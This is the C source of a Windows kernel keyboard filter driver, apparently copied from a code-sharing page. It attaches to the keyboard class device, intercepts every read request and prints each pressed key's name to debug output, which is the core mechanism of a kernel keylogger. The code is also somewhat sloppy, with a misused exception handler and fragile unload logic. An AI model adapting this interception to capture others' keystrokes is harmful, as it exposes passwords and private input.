?? fenceng.c
字號:
#include <ntddk.h>
#include <ntddkbd.h>
PDEVICE_OBJECT selfdevice,targetdevice;;
PIRP pcancel;
#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")
#pragma LOCKEDCODE
NTSTATUS CompeleteRoutin(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
PKEYBOARD_INPUT_DATA key;
if (Irp->PendingReturned==TRUE)
{
IoMarkIrpPending(Irp);
}
key = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
_try{
if (key->Flags==KEY_MAKE && key->MakeCode)
{
switch (key->MakeCode)
{
case 0x1:
DbgPrint("ESC 鍵被按下");
break;
case 0x2:
DbgPrint("1 鍵被按下");
break;
case 0x3:
DbgPrint("2 鍵被按下");
break;
case 0x4:
DbgPrint("3 鍵被按下");
break;
case 0x5:
DbgPrint("4 鍵被按下");
break;
case 0x6:
DbgPrint("5 鍵被按下");
break;
case 0x7:
DbgPrint("6 鍵被按下");
break;
case 0x8:
DbgPrint("7 鍵被按下");
break;
case 0x9:
DbgPrint("8 鍵被按下");
break;
case 0xA:
DbgPrint("9 鍵被按下");
break;
case 0xB:
DbgPrint("0 鍵被按下");
break;
case 0xC:
DbgPrint("- 鍵被按下");
break;
case 0xD:
DbgPrint("= 鍵被按下");
break;
case 0xE:
DbgPrint("BACKSPACE 鍵被按下");
break;
case 0xF:
DbgPrint("TAB 鍵被按下");
break;
case 0x10:
DbgPrint("Q 鍵被按下");
break;
case 0x11:
DbgPrint("W 鍵被按下");
break;
case 0x12:
DbgPrint("E 鍵被按下");
break;
case 0x13:
DbgPrint("R 鍵被按下");
break;
case 0x14:
DbgPrint("T 鍵被按下");
break;
case 0x15:
DbgPrint("Y 鍵被按下");
break;
case 0x16:
DbgPrint("U 鍵被按下");
break;
case 0x17:
DbgPrint("I 鍵被按下");
break;
case 0x18:
DbgPrint("O 鍵被按下");
break;
case 0x19:
DbgPrint("P 鍵被按下");
break;
case 0x1A:
DbgPrint("[ 鍵被按下");
break;
case 0x1B:
DbgPrint("] 鍵被按下");
break;
case 0x2B:
DbgPrint("\\ 鍵被按下");
break;
case 0x1D:
DbgPrint("LEFT CTRL 鍵被按下");
break;
case 0x1E:
DbgPrint("A 鍵被按下");
break;
case 0x1F:
DbgPrint("S 鍵被按下");
break;
case 0x20:
DbgPrint("D 鍵被按下");
break;
case 0x21:
DbgPrint("F 鍵被按下");
break;
case 0x22:
DbgPrint("G 鍵被按下");
break;
case 0x23:
DbgPrint("H 鍵被按下");
break;
case 0x24:
DbgPrint("J 鍵被按下");
break;
case 0x25:
DbgPrint("K 鍵被按下");
break;
case 0x26:
DbgPrint("L 鍵被按下");
break;
case 0x27:
DbgPrint("; 鍵被按下");
break;
case 0x28:
DbgPrint("' 鍵被按下");
break;
case 0x29:
DbgPrint("` 鍵被按下");
break;
case 0x2A:
DbgPrint("LEFT SHIFT 鍵被按下");
break;
case 0x1C:
DbgPrint("ENTER 鍵被按下");
break;
case 0x2C:
DbgPrint("Z 鍵被按下");
break;
case 0x2D:
DbgPrint("X 鍵被按下");
break;
case 0x2E:
DbgPrint("C 鍵被按下");
break;
case 0x2F:
DbgPrint("V 鍵被按下");
break;
case 0x30:
DbgPrint("B 鍵被按下");
break;
case 0x31:
DbgPrint("N 鍵被按下");
break;
case 0x32:
DbgPrint("M 鍵被按下");
break;
case 0x33:
DbgPrint(", 鍵被按下");
break;
case 0x34:
DbgPrint(". 鍵被按下");
break;
case 0x35:
DbgPrint("/ 鍵被按下");
break;
case 0x36:
DbgPrint("RIGHT SHIFT 鍵被按下");
break;
case 0x37:
DbgPrint("* 鍵被按下");
break;
case 0x38:
DbgPrint("LEFT ALT 鍵被按下");
break;
case 0x39:
DbgPrint("SPACE 鍵被按下");
break;
case 0x3A:
DbgPrint("CAP LOCK 鍵被按下");
break;
case 0x3B:
DbgPrint("F1 鍵被按下");
break;
case 0x3C:
DbgPrint("F2 鍵被按下");
break;
case 0x3D:
DbgPrint("F3 鍵被按下");
break;
case 0x3E:
DbgPrint("F4 鍵被按下");
break;
case 0x3F:
DbgPrint("F5 鍵被按下");
break;
case 0x40:
DbgPrint("F6 鍵被按下");
break;
case 0x41:
DbgPrint("F7 鍵被按下");
break;
case 0x42:
DbgPrint("F8 鍵被按下");
break;
case 0x43:
DbgPrint("F9 鍵被按下");
break;
case 0x44:
DbgPrint("F10 鍵被按下");
break;
case 0x45:
DbgPrint("NumLock 鍵被按下");
break;
case 0x46:
DbgPrint("小鍵盤 / 鍵被按下");
break;
case 0x47:
DbgPrint("小鍵盤 7 鍵被按下");
break;
case 0x48:
DbgPrint("小鍵盤 8 鍵被按下");
break;
case 0x49:
DbgPrint("小鍵盤 9 鍵被按下");
break;
case 0x4A:
DbgPrint("小鍵盤 - 鍵被按下");
break;
case 0x4B:
DbgPrint("小鍵盤 4 鍵被按下");
break;
case 0x4C:
DbgPrint("小鍵盤 5 鍵被按下");
break;
case 0x4D:
DbgPrint("小鍵盤 6 鍵被按下");
break;
case 0x4E:
DbgPrint("小鍵盤 + 鍵被按下");
break;
case 0x4F:
DbgPrint("小鍵盤 1 鍵被按下");
break;
case 0x50:
DbgPrint("小鍵盤 2 鍵被按下");
break;
case 0x51:
DbgPrint("小鍵盤 3 鍵被按下");
break;
case 0x52:
DbgPrint("小鍵盤 0 鍵被按下");
break;
case 0x53:
DbgPrint("小鍵盤 . 鍵被按下");
break;
case 0x57:
DbgPrint("F11 鍵被按下");
break;
case 0x58:
DbgPrint("F12 鍵被按下");
break;
default:
DbgPrint("%X",key->MakeCode);
break;
}
}
}_except(EXCEPTION_CONTINUE_EXECUTION)
{
DbgPrint("%x",GetExceptionCode());
}
return STATUS_CONTINUE_COMPLETION;
}
#pragma PAGEDCODE
NTSTATUS
Dispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(targetdevice,Irp);
}
NTSTATUS
DispatchRead(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PIO_STACK_LOCATION irpsp;
NTSTATUS s;
PKEYBOARD_INPUT_DATA key;
//DbgPrint("read");
pcancel = Irp;
IoCopyCurrentIrpStackLocationToNext(Irp);
// IoSkipCurrentIrpStackLocation(Irp);
IoSetCompletionRoutine(Irp,CompeleteRoutin,NULL,TRUE,TRUE,TRUE);
return IoCallDriver(targetdevice,Irp);
}
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
if (pcancel)
{
IoCancelIrp(pcancel);
}
IoDetachDevice(targetdevice);
IoDeleteDevice(selfdevice);
DbgPrint("Driver Unload!");
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
PDEVICE_OBJECT device;
PFILE_OBJECT file;
NTSTATUS s;
UNICODE_STRING DeviceName;
ULONG i;
DbgPrint("Driver loaded!");
DriverObject->DriverUnload = Unload;
for (i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
{
DriverObject->MajorFunction[i] = Dispatch;
}
DriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
RtlInitUnicodeString(&DeviceName,L"\\Device\\KeyboardClass0");
s = IoGetDeviceObjectPointer(&DeviceName,FILE_ALL_ACCESS,&file,&device);
if (!NT_SUCCESS(s))
{
DbgPrint("Get Device error!");
return s;
}
s = IoCreateDevice(DriverObject,
0,
NULL,
device->Type,
device->Characteristics,
TRUE,
&selfdevice
);
if (!NT_SUCCESS(s))
{
ObDereferenceObject(file);
DbgPrint("Create Device Faile!!!");
return s;
}
targetdevice = IoAttachDeviceToDeviceStack(selfdevice,device);
if (!targetdevice)
{
IoDeleteDevice(selfdevice);
ObDereferenceObject(file);
DbgPrint("attach faile");
return STATUS_INSUFFICIENT_RESOURCES;
}
selfdevice->DeviceType = targetdevice->DeviceType;
selfdevice->Characteristics = targetdevice->Characteristics;
selfdevice->Flags &=~DO_DEVICE_INITIALIZING;
selfdevice->Flags |=(targetdevice->Flags & (DO_DIRECT_IO | DO_BUFFERED_IO));
ObDereferenceObject(file);
DbgPrint("SUCCESS");
return STATUS_SUCCESS;
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -